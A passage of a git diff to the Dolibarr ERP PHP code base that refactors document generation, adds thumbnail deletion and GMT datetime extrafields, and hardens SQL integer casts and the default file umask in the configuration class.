$sql.= " AND c.".$element['parentkey']." = p.rowid"; } + if (!empty($element['parent']) && !empty($element['parenttypefield']) && !empty($element['parenttypevalue'])) { + $sql.= " AND c.".$element['parenttypefield']." = '".$this->db->escape($element['parenttypevalue'])."'"; + } if (!empty($entity)) { if (!empty($element['parent']) && !empty($element['parentkey'])) { $sql.= " AND p.entity = ".((int) $entity); @@ -4571,6 +4706,7 @@ abstract class CommonObject $sql.= " AND c.entity = ".((int) $entity); } } + $resql = $this->db->query($sql); if ($resql) { $obj = $this->db->fetch_object($resql); @@ -4864,9 +5000,9 @@ abstract class CommonObject * But for the moment we don't know if it's possible as we keep a method available on overloaded objects. * * @param string $action Action code - * @param string $seller Object of seller third party - * @param string $buyer Object of buyer third party - * @param int $selected Object line selected + * @param Societe $seller Object of seller third party + * @param Societe $buyer Object of buyer third party + * @param int $selected ID line selected * @param int $dateSelector 1=Show also date range input fields * @param string $defaulttpldir Directory where to find the template * @return void @@ -4955,9 +5091,9 @@ abstract class CommonObject * @param int $num Number of line (0) * @param int $i I * @param int $dateSelector 1=Show also date range input fields - * @param string $seller Object of seller third party - * @param string $buyer Object of buyer third party - * @param int $selected Object line selected + * @param Societe $seller Object of seller third party + * @param Societe $buyer Object of buyer third party + * @param int $selected ID line selected * @param Extrafields $extrafields Object of extrafields * @param string $defaulttpldir Directory where to find the template (deprecated) * @return void @@ -4970,15 +5106,13 @@ abstract class CommonObject $object_rights = $this->getRights(); - $element = $this->element; - $text = ''; $description = ''; // Line in view mode if ($action != 'editline' || $selected != $line->id) { // Product - if ($line->fk_product > 0) { + if (!empty($line->fk_product) && $line->fk_product > 0) { $product_static = new Product($this->db); $product_static->fetch($line->fk_product); @@ -5101,7 +5235,7 @@ abstract class CommonObject print '
      '; } print ''; - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { print ''; } print ''; @@ -5239,7 +5373,7 @@ abstract class CommonObject $this->tpl['total_ht'] = price($line->total_ht); $this->tpl['multicurrency_price'] = price($line->multicurrency_subprice); $this->tpl['qty'] = (($line->info_bits & 2) != 2) ? $line->qty : ' '; - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { $this->tpl['unit'] = $langs->transnoentities($line->getLabelOfUnit('long')); } $this->tpl['remise_percent'] = (($line->info_bits & 2) != 2) ? vatrate($line->remise_percent, true) : ' '; @@ -5296,7 +5430,7 @@ abstract class CommonObject $sql .= ", busy"; $sql .= ", mandatory"; $sql .= ") VALUES ("; - $sql .= $resource_id; + $sql .= ((int) $resource_id); $sql .= ", '".$this->db->escape($resource_type)."'"; $sql .= ", '".$this->db->escape($this->id)."'"; $sql .= ", '".$this->db->escape($this->element)."'"; @@ -5393,171 +5527,165 @@ abstract class CommonObject $parameters = array('modelspath'=>$modelspath, 'modele'=>$modele, 'outputlangs'=>$outputlangs, 'hidedetails'=>$hidedetails, 'hidedesc'=>$hidedesc, 'hideref'=>$hideref, 'moreparams'=>$moreparams); $reshook = $hookmanager->executeHooks('commonGenerateDocument', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks - if (empty($reshook)) { - dol_syslog("commonGenerateDocument modele=".$modele." outputlangs->defaultlang=".(is_object($outputlangs) ? $outputlangs->defaultlang : 'null')); + if (!empty($reshook)) { + return $reshook; + } - if (empty($modele)) { - $this->error = 'BadValueForParameterModele'; - return -1; - } + dol_syslog("commonGenerateDocument modele=".$modele." outputlangs->defaultlang=".(is_object($outputlangs) ? $outputlangs->defaultlang : 'null')); - // Increase limit for PDF build - $err = error_reporting(); - error_reporting(0); - @set_time_limit(120); - error_reporting($err); + if (empty($modele)) { + $this->error = 'BadValueForParameterModele'; + return -1; + } - // If selected model is a filename template (then $modele="modelname" or "modelname:filename") - $tmp = explode(':', $modele, 2); - if (!empty($tmp[1])) { - $modele = $tmp[0]; - $srctemplatepath = $tmp[1]; - } + // Increase limit for PDF build + $err = error_reporting(); + error_reporting(0); + @set_time_limit(120); + error_reporting($err); - // Search template files - $file = ''; - $classname = ''; - $filefound = ''; - $dirmodels = array('/'); - if (is_array($conf->modules_parts['models'])) { - $dirmodels = array_merge($dirmodels, $conf->modules_parts['models']); - } - foreach ($dirmodels as $reldir) { - foreach (array('doc', 'pdf') as $prefix) { - if (in_array(get_class($this), array('Adherent'))) { - // Member module use prefix_modele.class.php - $file = $prefix."_".$modele.".class.php"; - } else { - // Other module use prefix_modele.modules.php - $file = $prefix."_".$modele.".modules.php"; - } + // If selected model is a filename template (then $modele="modelname" or "modelname:filename") + $tmp = explode(':', $modele, 2); + if (!empty($tmp[1])) { + $modele = $tmp[0]; + $srctemplatepath = $tmp[1]; + } - // On verifie l'emplacement du modele - $file = dol_buildpath($reldir.$modelspath.$file, 0); - if (file_exists($file)) { - $filefound = $file; - $classname = $prefix.'_'.$modele; - break; - } + // Search template files + $file = ''; + $classname = ''; + $filefound = ''; + $dirmodels = array('/'); + if (is_array($conf->modules_parts['models'])) { + $dirmodels = array_merge($dirmodels, $conf->modules_parts['models']); + } + foreach ($dirmodels as $reldir) { + foreach (array('doc', 'pdf') as $prefix) { + if (in_array(get_class($this), array('Adherent'))) { + // Member module use prefix_modele.class.php + $file = $prefix."_".$modele.".class.php"; + } else { + // Other module use prefix_modele.modules.php + $file = $prefix."_".$modele.".modules.php"; } - if ($filefound) { + + // On verifie l'emplacement du modele + $file = dol_buildpath($reldir.$modelspath.$file, 0); + if (file_exists($file)) { + $filefound = $file; + $classname = $prefix.'_'.$modele; break; } } - - // If generator was found if ($filefound) { - global $db; // Required to solve a conception default making an include of code using $db instead of $this->db just after. + break; + } + } - require_once $file; + if (!$filefound) { + $this->error = $langs->trans("Error").' Failed to load doc generator with modelpaths='.$modelspath.' - modele='.$modele; + $this->errors[] = $this->error; + dol_syslog($this->error, LOG_ERR); + return -1; + } - $obj = new $classname($this->db); + // If generator was found + global $db; // Required to solve a conception default making an include of code using $db instead of $this->db just after. - // If generator is ODT, we must have srctemplatepath defined, if not we set it. - if ($obj->type == 'odt' && empty($srctemplatepath)) { - $varfortemplatedir = $obj->scandir; - if ($varfortemplatedir && !empty($conf->global->$varfortemplatedir)) { - $dirtoscan = $conf->global->$varfortemplatedir; + require_once $file; - $listoffiles = array(); + $obj = new $classname($this->db); - // Now we add first model found in directories scanned - $listofdir = explode(',', $dirtoscan); - foreach ($listofdir as $key => $tmpdir) { - $tmpdir = trim($tmpdir); - $tmpdir = preg_replace('/DOL_DATA_ROOT/', DOL_DATA_ROOT, $tmpdir); - if (!$tmpdir) { - unset($listofdir[$key]); - continue; - } - if (is_dir($tmpdir)) { - $tmpfiles = dol_dir_list($tmpdir, 'files', 0, '\.od(s|t)$', '', 'name', SORT_ASC, 0); - if (count($tmpfiles)) { - $listoffiles = array_merge($listoffiles, $tmpfiles); - } - } - } + // If generator is ODT, we must have srctemplatepath defined, if not we set it. + if ($obj->type == 'odt' && empty($srctemplatepath)) { + $varfortemplatedir = $obj->scandir; + if ($varfortemplatedir && !empty($conf->global->$varfortemplatedir)) { + $dirtoscan = $conf->global->$varfortemplatedir; - if (count($listoffiles)) { - foreach ($listoffiles as $record) { - $srctemplatepath = $record['fullname']; - break; - } + $listoffiles = array(); + + // Now we add first model found in directories scanned + $listofdir = explode(',', $dirtoscan); + foreach ($listofdir as $key => $tmpdir) { + $tmpdir = trim($tmpdir); + $tmpdir = preg_replace('/DOL_DATA_ROOT/', DOL_DATA_ROOT, $tmpdir); + if (!$tmpdir) { + unset($listofdir[$key]); + continue; + } + if (is_dir($tmpdir)) { + $tmpfiles = dol_dir_list($tmpdir, 'files', 0, '\.od(s|t)$', '', 'name', SORT_ASC, 0); + if (count($tmpfiles)) { + $listoffiles = array_merge($listoffiles, $tmpfiles); } } + } - if (empty($srctemplatepath)) { - $this->error = 'ErrorGenerationAskedForOdtTemplateWithSrcFileNotDefined'; - return -1; + if (count($listoffiles)) { + foreach ($listoffiles as $record) { + $srctemplatepath = $record['fullname']; + break; } } + } - if ($obj->type == 'odt' && !empty($srctemplatepath)) { - if (!dol_is_file($srctemplatepath)) { - dol_syslog("Failed to locate template file ".$srctemplatepath, LOG_WARNING); - $this->error = 'ErrorGenerationAskedForOdtTemplateWithSrcFileNotFound'; - return -1; - } - } - - // We save charset_output to restore it because write_file can change it if needed for - // output format that does not support UTF8. - $sav_charset_output = empty($outputlangs->charset_output) ? '' : $outputlangs->charset_output; - - if (in_array(get_class($this), array('Adherent'))) { - $resultwritefile = $obj->write_file($this, $outputlangs, $srctemplatepath, 'member', 1, 'tmp_cards', $moreparams); - } else { - $resultwritefile = $obj->write_file($this, $outputlangs, $srctemplatepath, $hidedetails, $hidedesc, $hideref, $moreparams); - } - // After call of write_file $obj->result['fullpath'] is set with generated file. It will be used to update the ECM database index. - - if ($resultwritefile > 0) { - $outputlangs->charset_output = $sav_charset_output; - - // We delete old preview - require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; - dol_delete_preview($this); - - // Index file in database - if (!empty($obj->result['fullpath'])) { - $destfull = $obj->result['fullpath']; - - // Update the last_main_doc field into main object (if document generator has property ->update_main_doc_field set) - $update_main_doc_field = 0; - if (!empty($obj->update_main_doc_field)) { - $update_main_doc_field = 1; - } - - $this->indexFile($destfull, $update_main_doc_field); - } else { - dol_syslog('Method ->write_file was called on object '.get_class($obj).' and return a success but the return array ->result["fullpath"] was not set.', LOG_WARNING); - } - - // Success in building document. We build meta file. - dol_meta_create($this); - - return 1; - } else { - $outputlangs->charset_output = $sav_charset_output; - $this->error = $obj->error; - $this->errors = $obj->errors; - dol_syslog("Error generating document for ".__CLASS__.". Error: ".$obj->error, LOG_ERR); - return -1; - } - } else { - if (!$filefound) { - $this->error = $langs->trans("Error").' Failed to load doc generator with modelpaths='.$modelspath.' - modele='.$modele; - $this->errors[] = $this->error; - dol_syslog($this->error, LOG_ERR); - } else { - $this->error = $langs->trans("Error")." ".$langs->trans("ErrorFileDoesNotExists", $filefound); - $this->errors[] = $this->error; - dol_syslog($this->error, LOG_ERR); - } + if (empty($srctemplatepath)) { + $this->error = 'ErrorGenerationAskedForOdtTemplateWithSrcFileNotDefined'; return -1; } + } + + if ($obj->type == 'odt' && !empty($srctemplatepath)) { + if (!dol_is_file($srctemplatepath)) { + dol_syslog("Failed to locate template file ".$srctemplatepath, LOG_WARNING); + $this->error = 'ErrorGenerationAskedForOdtTemplateWithSrcFileNotFound'; + return -1; + } + } + + // We save charset_output to restore it because write_file can change it if needed for + // output format that does not support UTF8. + $sav_charset_output = empty($outputlangs->charset_output) ? '' : $outputlangs->charset_output; + + if (in_array(get_class($this), array('Adherent'))) { + $resultwritefile = $obj->write_file($this, $outputlangs, $srctemplatepath, 'member', 1, 'tmp_cards', $moreparams); } else { - return $reshook; + $resultwritefile = $obj->write_file($this, $outputlangs, $srctemplatepath, $hidedetails, $hidedesc, $hideref, $moreparams); + } + // After call of write_file $obj->result['fullpath'] is set with generated file. It will be used to update the ECM database index. + + if ($resultwritefile > 0) { + $outputlangs->charset_output = $sav_charset_output; + + // We delete old preview + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + dol_delete_preview($this); + + // Index file in database + if (!empty($obj->result['fullpath'])) { + $destfull = $obj->result['fullpath']; + + // Update the last_main_doc field into main object (if document generator has property ->update_main_doc_field set) + $update_main_doc_field = 0; + if (!empty($obj->update_main_doc_field)) { + $update_main_doc_field = 1; + } + + $this->indexFile($destfull, $update_main_doc_field); + } else { + dol_syslog('Method ->write_file was called on object '.get_class($obj).' and return a success but the return array ->result["fullpath"] was not set.', LOG_WARNING); + } + + // Success in building document. We build meta file. + dol_meta_create($this); + + return 1; + } else { + $outputlangs->charset_output = $sav_charset_output; + $this->error = $obj->error; + $this->errors = $obj->errors; + dol_syslog("Error generating document for ".__CLASS__.". Error: ".$obj->error, LOG_ERR); + return -1; } } @@ -5687,12 +5815,12 @@ abstract class CommonObject */ public function addThumbs($file) { - global $maxwidthsmall, $maxheightsmall, $maxwidthmini, $maxheightmini, $quality; - - require_once DOL_DOCUMENT_ROOT.'/core/lib/images.lib.php'; // This define also $maxwidthsmall, $quality, ... - $file_osencoded = dol_osencode($file); if (file_exists($file_osencoded)) { + global $maxwidthsmall, $maxheightsmall, $maxwidthmini, $maxheightmini, $quality; + + require_once DOL_DOCUMENT_ROOT.'/core/lib/images.lib.php'; // This define also $maxwidthsmall, $quality, ... + // Create small thumbs for company (Ratio is near 16/9) // Used on logon for example vignette($file_osencoded, $maxwidthsmall, $maxheightsmall, '_small', $quality); @@ -5703,6 +5831,21 @@ abstract class CommonObject } } + /** + * Delete thumbs + * @todo Move this into files.lib.php + * + * @param string $file Path file in UTF8 to original file to delete thumbs. + * @return void + */ + public function delThumbs($file) + { + $imgThumbName = getImageFileNameForSize($file, '_small'); // Full path of thumb file + dol_delete_file($imgThumbName); + $imgThumbName = getImageFileNameForSize($file, '_mini'); // Full path of thumb file + dol_delete_file($imgThumbName); + } + /* Functions common to commonobject and commonobjectline */ @@ -5718,15 +5861,16 @@ abstract class CommonObject * * @param string $fieldname Name of field * @param string $alternatevalue Alternate value to use + * @param string $type Type of data * @return string|string[] Default value (can be an array if the GETPOST return an array) **/ - public function getDefaultCreateValueFor($fieldname, $alternatevalue = null) + public function getDefaultCreateValueFor($fieldname, $alternatevalue = null, $type = 'alphanohtml') { global $conf, $_POST; // If param here has been posted, we use this value first. if (GETPOSTISSET($fieldname)) { - return GETPOST($fieldname, 'alphanohtml', 3); + return GETPOST($fieldname, $type, 3); } if (isset($alternatevalue)) { @@ -5752,6 +5896,9 @@ abstract class CommonObject } // TODO Ad here a scan into table llx_overwrite_default with a filter on $this->element and $fieldname + // store content into $conf->cache['overwrite_default'] + + return ''; } @@ -6062,11 +6209,15 @@ abstract class CommonObject // If field is a computed field, value must become result of compute (regardless of whether a row exists // in the element's extrafields table) - foreach ($extrafields->attributes[$this->table_element]['label'] as $key => $val) { - if (!empty($extrafields->attributes[$this->table_element]) && !empty($extrafields->attributes[$this->table_element]['computed'][$key])) { - //var_dump($conf->disable_compute); - if (empty($conf->disable_compute)) { - $this->array_options["options_".$key] = dol_eval($extrafields->attributes[$this->table_element]['computed'][$key], 1, 0, ''); + if (is_array($extrafields->attributes[$this->table_element]['label'])) { + foreach ($extrafields->attributes[$this->table_element]['label'] as $key => $val) { + if (!empty($extrafields->attributes[$this->table_element]) && !empty($extrafields->attributes[$this->table_element]['computed'][$key])) { + //var_dump($conf->disable_compute); + if (empty($conf->disable_compute)) { + global $objectoffield; // We set a global variable to $objectoffield so + $objectoffield = $this; // we can use it inside computed formula + $this->array_options['options_' . $key] = dol_eval($extrafields->attributes[$this->table_element]['computed'][$key], 1, 0, ''); + } } } } @@ -6270,11 +6421,18 @@ abstract class CommonObject case 'date': case 'datetime': // If data is a string instead of a timestamp, we convert it - if (!is_int($this->array_options[$key])) { + if (!is_numeric($this->array_options[$key]) || $this->array_options[$key] != intval($this->array_options[$key])) { $this->array_options[$key] = strtotime($this->array_options[$key]); } $new_array_options[$key] = $this->db->idate($this->array_options[$key]); break; + case 'datetimegmt': + // If data is a string instead of a timestamp, we convert it + if (!is_numeric($this->array_options[$key]) || $this->array_options[$key] != intval($this->array_options[$key])) { + $this->array_options[$key] = strtotime($this->array_options[$key]); + } + $new_array_options[$key] = $this->db->idate($this->array_options[$key], 'gmt'); + break; case 'link': $param_list = array_keys($attributeParam['options']); // 0 : ObjectName @@ -6296,7 +6454,6 @@ abstract class CommonObject $new_array_options[$key] = $object->id; } else { $this->error = "Id/Ref '".$value."' for object '".$object->element."' not found"; - $this->db->rollback(); return -1; } } @@ -6443,9 +6600,9 @@ abstract class CommonObject return -1; } elseif ($value == '') { $new_array_languages[$key] = null; + } else { + $new_array_languages[$key] = $value; } - //dol_syslog("double value"." sur ".$attributeLabel."(".$value." is '".$attributeType."')", LOG_DEBUG); - $new_array_languages[$key] = $value; break; /*case 'select': // Not required, we chosed value='0' for undefined values if ($value=='-1') @@ -6616,6 +6773,13 @@ abstract class CommonObject $this->array_options["options_".$key] = $this->db->idate($this->array_options["options_".$key]); } break; + case 'datetimegmt': + if (empty($this->array_options["options_".$key])) { + $this->array_options["options_".$key] = null; + } else { + $this->array_options["options_".$key] = $this->db->idate($this->array_options["options_".$key], 'gmt'); + } + break; case 'boolean': if (empty($this->array_options["options_".$key])) { $this->array_options["options_".$key] = null; @@ -7353,7 +7517,7 @@ abstract class CommonObject if (!empty($conf->use_javascript_ajax)) { $out .= ' - '; + } + } +} diff --git a/htdocs/core/class/commonstickergenerator.class.php b/htdocs/core/class/commonstickergenerator.class.php index e388159f978..3a83d015f65 100644 --- a/htdocs/core/class/commonstickergenerator.class.php +++ b/htdocs/core/class/commonstickergenerator.class.php @@ -61,6 +61,11 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/format_cards.lib.php'; */ abstract class CommonStickerGenerator { + /** + * @var DoliDB Database handler. + */ + public $db; + public $code; // Code of format /** diff --git a/htdocs/core/class/conf.class.php b/htdocs/core/class/conf.class.php index 42927d398aa..589d28453fc 100644 --- a/htdocs/core/class/conf.class.php +++ b/htdocs/core/class/conf.class.php @@ -47,6 +47,18 @@ class Conf //! To store browser info public $browser; + //! To store some setup of generic modules + public $mycompany; + public $admin; + public $medias; + //! To store properties of multi-company + public $multicompany; + + //! To store module status of special module names + public $expedition_bon; + public $delivery_note; + + //! To store if javascript/ajax is enabked public $use_javascript_ajax; //! To store if javascript/ajax is enabked @@ -67,6 +79,10 @@ class Conf // An array to store cache results ->cache['nameofcache']=... public $cache; + /** + * @var int To tell header was output + */ + public $headerdone; /** * @var string[] @@ -78,8 +94,6 @@ class Conf */ public $loghandlers = array(); - //! To store properties of multi-company - public $multicompany; //! Used to store running instance for multi-company (default 1) public $entity = 1; //! Used to store list of entities to use for each element @@ -133,6 +147,7 @@ class Conf 'barcode' => array(), 'models' => array(), 'societe' => array(), + 'member' => array(), 'hooks' => array(), 'dir' => array(), 'syslog' => array() @@ -140,27 +155,23 @@ class Conf // First level object that are modules. // TODO Remove this part. - $this->syslog = new stdClass(); $this->multicompany = new stdClass(); - $this->expedition_bon = new stdClass(); - $this->delivery_note = new stdClass(); $this->fournisseur = new stdClass(); - $this->product = new stdClass(); - $this->service = new stdClass(); - $this->contrat = new stdClass(); - $this->actions = new stdClass(); - $this->agenda = new stdClass(); + $this->product = new stdClass(); + $this->service = new stdClass(); + $this->contrat = new stdClass(); + $this->actions = new stdClass(); + $this->agenda = new stdClass(); $this->commande = new stdClass(); $this->propal = new stdClass(); - $this->facture = new stdClass(); - $this->contrat = new stdClass(); + $this->facture = new stdClass(); + $this->contrat = new stdClass(); $this->user = new stdClass(); - $this->adherent = new stdClass(); + $this->adherent = new stdClass(); $this->bank = new stdClass(); - $this->notification = new stdClass(); - $this->mailing = new stdClass(); - $this->expensereport = new stdClass(); - $this->productbatch = new stdClass(); + $this->notification = new stdClass(); + $this->expensereport = new stdClass(); + $this->productbatch = new stdClass(); } /** @@ -211,30 +222,26 @@ class Conf // First level object // TODO Remove this part. - $this->syslog = new stdClass(); - $this->expedition_bon = new stdClass(); - $this->delivery_note = new stdClass(); $this->fournisseur = new stdClass(); - $this->product = new stdClass(); - $this->service = new stdClass(); - $this->contrat = new stdClass(); - $this->actions = new stdClass(); - $this->agenda = new stdClass(); + $this->product = new stdClass(); + $this->service = new stdClass(); + $this->contrat = new stdClass(); + $this->actions = new stdClass(); + $this->agenda = new stdClass(); $this->commande = new stdClass(); $this->propal = new stdClass(); - $this->facture = new stdClass(); - $this->contrat = new stdClass(); + $this->facture = new stdClass(); + $this->contrat = new stdClass(); $this->user = new stdClass(); - $this->adherent = new stdClass(); + $this->adherent = new stdClass(); $this->bank = new stdClass(); - $this->notification = new stdClass(); - $this->mailing = new stdClass(); - $this->expensereport = new stdClass(); - $this->productbatch = new stdClass(); + $this->notification = new stdClass(); + $this->expensereport = new stdClass(); + $this->productbatch = new stdClass(); // Common arrays $this->cache = array(); - $this->modules = array();; + $this->modules = array(); $this->modules_parts = array( 'css' => array(), 'js' => array(), @@ -249,6 +256,7 @@ class Conf 'barcode' => array(), 'models' => array(), 'societe' => array(), + 'member' => array(), 'hooks' => array(), 'dir' => array(), 'syslog' => array(), @@ -497,9 +505,11 @@ class Conf // Exception: Some dir are not the name of module. So we keep exception here for backward compatibility. // Sous module bons d'expedition - $this->expedition_bon->enabled = (!empty($this->global->MAIN_SUBMODULE_EXPEDITION) ? $this->global->MAIN_SUBMODULE_EXPEDITION : 0); + $this->expedition_bon = new stdClass(); + $this->expedition_bon->enabled = (empty($this->global->MAIN_SUBMODULE_EXPEDITION) ? 0 : $this->global->MAIN_SUBMODULE_EXPEDITION); // Sub module delivery note Sous module bons de livraison - $this->delivery_note->enabled = (!empty($this->global->MAIN_SUBMODULE_DELIVERY) ? $this->global->MAIN_SUBMODULE_DELIVERY : 0); + $this->delivery_note = new stdClass(); + $this->delivery_note->enabled = (empty($this->global->MAIN_SUBMODULE_DELIVERY) ? 0 : $this->global->MAIN_SUBMODULE_DELIVERY); // Module fournisseur if (!empty($this->fournisseur)) { @@ -598,7 +608,18 @@ class Conf $this->global->USER_PASSWORD_GENERATED = 'standard'; // Default password generator } if (empty($this->global->MAIN_UMASK)) { - $this->global->MAIN_UMASK = '0664'; // Default mask + $this->global->MAIN_UMASK = '0660'; // Default mask + } else { + // We remove the execute bits on the file umask + $tmpumask = (octdec($this->global->MAIN_UMASK) & 0666); + $tmpumask = decoct($tmpumask); + if (!preg_match('/^0/', $tmpumask)) { + $tmpumask = '0'.$tmpumask; + } + if (empty($tmpumask) || $tmpumask === '0') { + $tmpumask = '0664'; + } + $this->global->MAIN_UMASK = $tmpumask; } // conf->use_javascript_ajax @@ -688,22 +709,18 @@ class Conf $this->theme = $this->global->MAIN_THEME; $this->css = "/theme/".$this->theme."/style.css.php"; - // conf->email_from = email pour envoi par dolibarr des mails automatiques + // conf->email_from = email by default to send Dolibarr automatic emails $this->email_from = "robot@example.com"; if (!empty($this->global->MAIN_MAIL_EMAIL_FROM)) { $this->email_from = $this->global->MAIN_MAIL_EMAIL_FROM; } - // conf->notification->email_from = email pour envoi par Dolibarr des notifications - $this->notification->email_from = $this->email_from; - if (!empty($this->global->NOTIFICATION_EMAIL_FROM)) { - $this->notification->email_from = $this->global->NOTIFICATION_EMAIL_FROM; - } - - // conf->mailing->email_from = email pour envoi par Dolibarr des mailings - $this->mailing->email_from = $this->email_from; - if (!empty($this->global->MAILING_EMAIL_FROM)) { - $this->mailing->email_from = $this->global->MAILING_EMAIL_FROM; + // conf->notification->email_from = email by default to send Dolibarr notifications + if (isModEnabled('notification')) { + $this->notification->email_from = $this->email_from; + if (!empty($this->global->NOTIFICATION_EMAIL_FROM)) { + $this->notification->email_from = $this->global->NOTIFICATION_EMAIL_FROM; + } } if (!isset($this->global->MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP)) { @@ -783,6 +800,11 @@ class Conf $this->global->USE_STRICT_CSV_RULES = 2; } + // By default, option is on. Once set by user, this code is useless + if (!isset($this->global->ACCOUNTING_REEXPORT)) { + $this->global->ACCOUNTING_REEXPORT = 1; + } + // Use a SCA ready workflow with Stripe module (STRIPE_USE_INTENT_WITH_AUTOMATIC_CONFIRMATION by default if nothing defined) if (!isset($this->global->STRIPE_USE_INTENT_WITH_AUTOMATIC_CONFIRMATION) && empty($this->global->STRIPE_USE_NEW_CHECKOUT)) { $this->global->STRIPE_USE_INTENT_WITH_AUTOMATIC_CONFIRMATION = 1; @@ -790,7 +812,7 @@ class Conf // Define list of limited modules (value must be key found for "name" property of module, so for example 'supplierproposal' for Module "Supplier Proposal" if (!isset($this->global->MAIN_MODULES_FOR_EXTERNAL)) { - $this->global->MAIN_MODULES_FOR_EXTERNAL = 'user,societe,propal,commande,facture,categorie,supplierproposal,fournisseur,contact,projet,contrat,ficheinter,expedition,agenda,resource,adherent,blockedlog'; // '' means 'all'. Note that contact is added here as it should be a module later. + $this->global->MAIN_MODULES_FOR_EXTERNAL = 'user,societe,propal,commande,facture,categorie,supplierproposal,fournisseur,contact,projet,contrat,ficheinter,expedition,reception,agenda,resource,adherent,blockedlog'; // '' means 'all'. Note that contact is added here as it should be a module later. } if (!empty($this->modules_parts['moduleforexternal'])) { // Module part to include an external module into the MAIN_MODULES_FOR_EXTERNAL list foreach ($this->modules_parts['moduleforexternal'] as $key => $value) { @@ -829,57 +851,57 @@ class Conf // Avoid strict errors. TODO: Replace xxx->warning_delay with a property ->warning_delay_xxx if (isset($this->agenda)) { $this->adherent->subscription = new stdClass(); - $this->adherent->subscription->warning_delay = (isset($this->global->MAIN_DELAY_MEMBERS) ? $this->global->MAIN_DELAY_MEMBERS : 0) * 86400; + $this->adherent->subscription->warning_delay = (isset($this->global->MAIN_DELAY_MEMBERS) ? (int) $this->global->MAIN_DELAY_MEMBERS : 0) * 86400; } if (isset($this->agenda)) { - $this->agenda->warning_delay = (isset($this->global->MAIN_DELAY_ACTIONS_TODO) ? $this->global->MAIN_DELAY_ACTIONS_TODO : 7) * 86400; + $this->agenda->warning_delay = (isset($this->global->MAIN_DELAY_ACTIONS_TODO) ? (int) $this->global->MAIN_DELAY_ACTIONS_TODO : 7) * 86400; } if (isset($this->projet)) { - $this->projet->warning_delay = (isset($this->global->MAIN_DELAY_PROJECT_TO_CLOSE) ? $this->global->MAIN_DELAY_PROJECT_TO_CLOSE : 7) * 86400; + $this->projet->warning_delay = (isset($this->global->MAIN_DELAY_PROJECT_TO_CLOSE) ? (int) $this->global->MAIN_DELAY_PROJECT_TO_CLOSE : 7) * 86400; $this->projet->task = new StdClass(); - $this->projet->task->warning_delay = (isset($this->global->MAIN_DELAY_TASKS_TODO) ? $this->global->MAIN_DELAY_TASKS_TODO : 7) * 86400; + $this->projet->task->warning_delay = (isset($this->global->MAIN_DELAY_TASKS_TODO) ? (int) $this->global->MAIN_DELAY_TASKS_TODO : 7) * 86400; } if (isset($this->commande)) { $this->commande->client = new stdClass(); $this->commande->fournisseur = new stdClass(); - $this->commande->client->warning_delay = (isset($this->global->MAIN_DELAY_ORDERS_TO_PROCESS) ? $this->global->MAIN_DELAY_ORDERS_TO_PROCESS : 2) * 86400; - $this->commande->fournisseur->warning_delay = (isset($this->global->MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS) ? $this->global->MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS : 7) * 86400; + $this->commande->client->warning_delay = (isset($this->global->MAIN_DELAY_ORDERS_TO_PROCESS) ? (int) $this->global->MAIN_DELAY_ORDERS_TO_PROCESS : 2) * 86400; + $this->commande->fournisseur->warning_delay = (isset($this->global->MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS) ? (int) $this->global->MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS : 7) * 86400; } if (isset($this->propal)) { $this->propal->cloture = new stdClass(); $this->propal->facturation = new stdClass(); - $this->propal->cloture->warning_delay = (isset($this->global->MAIN_DELAY_PROPALS_TO_CLOSE) ? $this->global->MAIN_DELAY_PROPALS_TO_CLOSE : 0) * 86400; - $this->propal->facturation->warning_delay = (isset($this->global->MAIN_DELAY_PROPALS_TO_BILL) ? $this->global->MAIN_DELAY_PROPALS_TO_BILL : 0) * 86400; + $this->propal->cloture->warning_delay = (isset($this->global->MAIN_DELAY_PROPALS_TO_CLOSE) ? (int) $this->global->MAIN_DELAY_PROPALS_TO_CLOSE : 0) * 86400; + $this->propal->facturation->warning_delay = (isset($this->global->MAIN_DELAY_PROPALS_TO_BILL) ? (int) $this->global->MAIN_DELAY_PROPALS_TO_BILL : 0) * 86400; } if (isset($this->facture)) { $this->facture->client = new stdClass(); $this->facture->fournisseur = new stdClass(); - $this->facture->client->warning_delay = (isset($this->global->MAIN_DELAY_CUSTOMER_BILLS_UNPAYED) ? $this->global->MAIN_DELAY_CUSTOMER_BILLS_UNPAYED : 0) * 86400; - $this->facture->fournisseur->warning_delay = (isset($this->global->MAIN_DELAY_SUPPLIER_BILLS_TO_PAY) ? $this->global->MAIN_DELAY_SUPPLIER_BILLS_TO_PAY : 0) * 86400; + $this->facture->client->warning_delay = (isset($this->global->MAIN_DELAY_CUSTOMER_BILLS_UNPAYED) ? (int) $this->global->MAIN_DELAY_CUSTOMER_BILLS_UNPAYED : 0) * 86400; + $this->facture->fournisseur->warning_delay = (isset($this->global->MAIN_DELAY_SUPPLIER_BILLS_TO_PAY) ? (int) $this->global->MAIN_DELAY_SUPPLIER_BILLS_TO_PAY : 0) * 86400; } if (isset($this->contrat)) { $this->contrat->services = new stdClass(); $this->contrat->services->inactifs = new stdClass(); $this->contrat->services->expires = new stdClass(); - $this->contrat->services->inactifs->warning_delay = (isset($this->global->MAIN_DELAY_NOT_ACTIVATED_SERVICES) ? $this->global->MAIN_DELAY_NOT_ACTIVATED_SERVICES : 0) * 86400; - $this->contrat->services->expires->warning_delay = (isset($this->global->MAIN_DELAY_RUNNING_SERVICES) ? $this->global->MAIN_DELAY_RUNNING_SERVICES : 0) * 86400; + $this->contrat->services->inactifs->warning_delay = (isset($this->global->MAIN_DELAY_NOT_ACTIVATED_SERVICES) ? (int) $this->global->MAIN_DELAY_NOT_ACTIVATED_SERVICES : 0) * 86400; + $this->contrat->services->expires->warning_delay = (isset($this->global->MAIN_DELAY_RUNNING_SERVICES) ? (int) $this->global->MAIN_DELAY_RUNNING_SERVICES : 0) * 86400; } if (isset($this->commande)) { $this->bank->rappro = new stdClass(); $this->bank->cheque = new stdClass(); - $this->bank->rappro->warning_delay = (isset($this->global->MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE) ? 